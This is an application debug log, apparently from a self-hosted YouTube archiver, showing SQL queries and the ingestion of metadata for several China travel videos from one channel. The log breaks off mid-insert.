OK source="sources" db=0.2ms idle=21.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:54.957 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:54.957 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404257] 19:29:54.957 [debug] Current batch of media processed. Will check again in 1000ms 19:29:55.958 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "duration" => 2334, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", "id" => "k8tdg6v0FQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k8tdg6v0FQo", "playlist_index" => 2, "timestamp" => 1784303950, "title" => "China's Most Viral City Is Hiding a Dying Job", "upload_date" => "20260717"} 19:29:55.959 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:29:55.959 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:55.960 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 19:29:55.961 [debug] QUERY OK source="media_items" db=0.9ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "bcc438c1-b32c-40a8-b67f-6ef9574268af", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 02:29:55Z], ~U[2026-08-20 02:29:55Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 19:29:55.961 [debug] QUERY OK source="sources" db=0.1ms idle=25.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:55.962 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:55.962 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [342888] 19:29:55.962 [debug] Current batch of media processed. Will check again in 1000ms 19:29:56.963 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "duration" => 2295, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", "id" => "7sCIBpshaCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7sCIBpshaCI", "playlist_index" => 3, "timestamp" => 1782502970, "title" => "China's Loneliest Man Shows Me His World", "upload_date" => "20260626"} 19:29:56.964 [debug] QUERY OK source="sources" db=0.3ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:29:56.964 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:56.965 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 19:29:56.966 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "613f7727-39b9-4416-880d-aaf6a722c114", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 02:29:56Z], ~U[2026-08-20 02:29:56Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 19:29:56.966 [debug] QUERY OK source="sources" db=0.2ms idle=29.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:56.967 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:56.967 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [251562] 19:29:56.967 [debug] Current batch of media processed. Will check again in 1000ms 19:29:57.968 [debug] Current batch of media processed. Will check again in 1000ms 19:29:58.969 [debug] Current batch of media processed. Will check again in 1000ms 19:29:59.970 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "duration" => 1064, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", "id" => "MEDlM-cA1Z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "playlist_index" => 4, "timestamp" => 1781884520, "title" => "Inside China's Insane Propaganda Theme Park", "upload_date" => "20260619"} 19:29:59.971 [debug] QUERY OK source="sources" db=0.2ms idle=1188.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:29:59.971 [debug] QUERY OK source="sources" db=0.1ms idle=1188.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:59.971 [debug] QUERY OK source="media_items" db=0.2ms idle=1189.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 19:29:59.973 [debug] QUERY OK source="media_items" db=0.7ms idle=1032.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "b77f7474-6fd9-43bf-8cf8-8d33fb8289c4", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 02:29:59Z], ~U[2026-08-20 02:29:59Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 19:29:59.973 [debug] QUERY OK source="sources" db=0.1ms idle=31.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:29:59.973 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:59.974 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [220422] 19:29:59.974 [debug] Current batch of media processed. Will check again in 1000ms 19:30:00.187 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:00.974 [debug] Current batch of media processed. Will check again in 1000ms 19:30:01.975 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "duration" => 2055, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", "id" => "B_S4NGLGbIM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B_S4NGLGbIM", "playlist_index" => 5, "timestamp" => 1781282249, "title" => "Finding China’s Lost Cave Village (30 years abandoned)", "upload_date" => "20260612"} 19:30:01.976 [debug] QUERY OK source="sources" db=0.2ms idle=193.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:01.976 [debug] QUERY OK source="sources" db=0.1ms idle=193.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:01.976 [debug] QUERY OK source="media_items" db=0.2ms idle=194.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 19:30:01.978 [debug] QUERY OK source="media_items" db=0.8ms idle=194.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 